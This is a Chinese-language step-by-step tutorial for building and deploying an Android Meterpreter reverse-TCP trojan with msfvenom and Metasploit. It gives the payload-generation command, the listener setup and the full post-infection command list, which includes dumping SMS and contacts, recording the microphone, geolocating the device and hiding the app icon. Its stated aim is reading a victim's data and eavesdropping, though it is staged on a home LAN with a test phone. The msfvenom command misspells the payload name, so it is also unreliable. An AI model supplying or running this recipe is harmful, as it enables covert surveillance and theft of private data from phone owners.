本文目的:演示如何借助Kali Linux系统的Metasploit渗透测试框架生成远程控制木马,然后感染局域网内的Android手机,从而实现对受害者手机数据的读取、音频的窃听、位置的获取、软件安装或卸载等。
环境说明

机器 IP地址
Win10 物理主机 192.168.1.158
Kali 虚拟机 192.168.1.153
测试手机 192.168.1.67

Win10主机和手机应连接同一个WIFI,Kali虚拟机安装在VMware中,使用桥接模式使得可配置其IP地址跟物理主机、手机在同一个网段之中,形成一个小局域网。

攻击准备

木马生成

执行下面的命令生成木马文件

  1. msfvenom -p andriod/meterpreter/reverse_tcp lhost=192.168.1.153 lport=9999 -o /root/apk.apk

lhost: kali虚拟机地址
lport: 监听端口
image.png

传输木马

将kali虚拟机上生成的apk文件下载下来
下载方式多种多样

传输木马给手机进行安装

开始攻击

MSF监听

依次执行如下命令

  1. msfconsole //启动msfconsole
  2. use exploit/multi/handler //加载模块
  3. set payload android/meterpreter/reverse_tcp //选择Payload
  4. set lhost 192.168.1.153 //这里的地址设置成我们刚才生成木马的IP地址
  5. set lport 9999 //这里的端口设置成刚才我们生成木马所监听的端口
  6. exploit //开始执行漏洞,开始监听,等待手机上线

msfconsole //启动msfconsole

image.png
加载模块

use exploit/multi/handler

image.png

依次设置相关参数

set payload android/meterpreter/reverse_tcp //选择Payload set lhost 192.168.1.153 //这里的地址设置成我们刚才生成木马的IP地址 set lport 9999 //这里的端口设置成刚才我们生成木马所监听的端口

exploit //开始执行漏洞,开始监听,等待手机上线

当用户点击木马文件时会执行木马
image.png
获取攻击命令

help

命令:

  1. ? Help menu
  2. background Backgrounds the current session
  3. bg Alias for background
  4. bgkill Kills a background meterpreter script
  5. bglist Lists running background scripts
  6. bgrun Executes a meterpreter script as a background thread
  7. channel Displays information or control active channels
  8. close Closes a channel
  9. disable_unicode_encoding Disables encoding of unicode strings
  10. enable_unicode_encoding Enables encoding of unicode strings
  11. exit Terminate the meterpreter session
  12. get_timeouts Get the current session timeout values
  13. guid Get the session GUID
  14. help Help menu
  15. info Displays information about a Post module
  16. irb Open an interactive Ruby shell on the current session
  17. load Load one or more meterpreter extensions
  18. machine_id Get the MSF ID of the machine attached to the session
  19. pry Open the Pry debugger on the current session
  20. quit Terminate the meterpreter session
  21. read Reads data from a channel
  22. resource Run the commands stored in a file
  23. run Executes a meterpreter script or Post module
  24. secure (Re)Negotiate TLV packet encryption on the session
  25. sessions Quickly switch to another session
  26. set_timeouts Set the current session timeout values
  27. sleep Force Meterpreter to go quiet, then re-establish session.
  28. transport Change the current transport mechanism
  29. use Deprecated alias for "load"
  30. uuid Get the UUID for the current session
  31. write Writes data to a channel
  32. Stdapi: File system Commands
  33. ============================
  34. Command Description
  35. ------- -----------
  36. cat Read the contents of a file to the screen
  37. cd Change directory
  38. checksum Retrieve the checksum of a file
  39. cp Copy source to destination
  40. dir List files (alias for ls)
  41. download Download a file or directory
  42. edit Edit a file
  43. getlwd Print local working directory
  44. getwd Print working directory
  45. lcd Change local working directory
  46. lls List local files
  47. lpwd Print local working directory
  48. ls List files
  49. mkdir Make directory
  50. mv Move source to destination
  51. pwd Print working directory
  52. rm Delete the specified file
  53. rmdir Remove directory
  54. search Search for files
  55. upload Upload a file or directory
  56. Stdapi: Networking Commands
  57. ===========================
  58. Command Description
  59. ------- -----------
  60. ifconfig Display interfaces
  61. ipconfig Display interfaces
  62. portfwd Forward a local port to a remote service
  63. route View and modify the routing table
  64. Stdapi: System Commands
  65. =======================
  66. Command Description
  67. ------- -----------
  68. execute Execute a command
  69. getuid Get the user that the server is running as
  70. localtime Displays the target system's local date and time
  71. pgrep Filter processes by name
  72. ps List running processes
  73. shell Drop into a system command shell
  74. sysinfo Gets information about the remote system, such as OS
  75. Stdapi: User interface Commands
  76. ===============================
  77. Command Description
  78. ------- -----------
  79. screenshare Watch the remote user's desktop in real time
  80. screenshot Grab a screenshot of the interactive desktop
  81. Stdapi: Webcam Commands
  82. =======================
  83. Command Description
  84. ------- -----------
  85. record_mic Record audio from the default microphone for X seconds
  86. webcam_chat Start a video chat
  87. webcam_list List webcams
  88. webcam_snap Take a snapshot from the specified webcam
  89. webcam_stream Play a video stream from the specified webcam
  90. Stdapi: Audio Output Commands
  91. =============================
  92. Command Description
  93. ------- -----------
  94. play play a waveform audio file (.wav) on the target system
  95. Android Commands
  96. ================
  97. Command Description
  98. ------- -----------
  99. activity_start Start an Android activity from a Uri string
  100. check_root Check if device is rooted
  101. dump_calllog Get call log
  102. dump_contacts Get contacts list
  103. dump_sms Get sms messages
  104. geolocate Get current lat-long using geolocation
  105. hide_app_icon Hide the app icon from the launcher
  106. interval_collect Manage interval collection capabilities
  107. send_sms Sends SMS from target session
  108. set_audio_mode Set Ringer Mode
  109. sqlite_query Query a SQLite database from storage
  110. wakelock Enable/Disable Wakelock
  111. wlan_geolocate Get current lat-long using WLAN information
  112. Application Controller Commands
  113. ===============================
  114. Command Description
  115. ------- -----------
  116. app_install Request to install apk file
  117. app_list List installed apps in the device
  118. app_run Start Main Activty for package name
  119. app_uninstall Request to uninstall application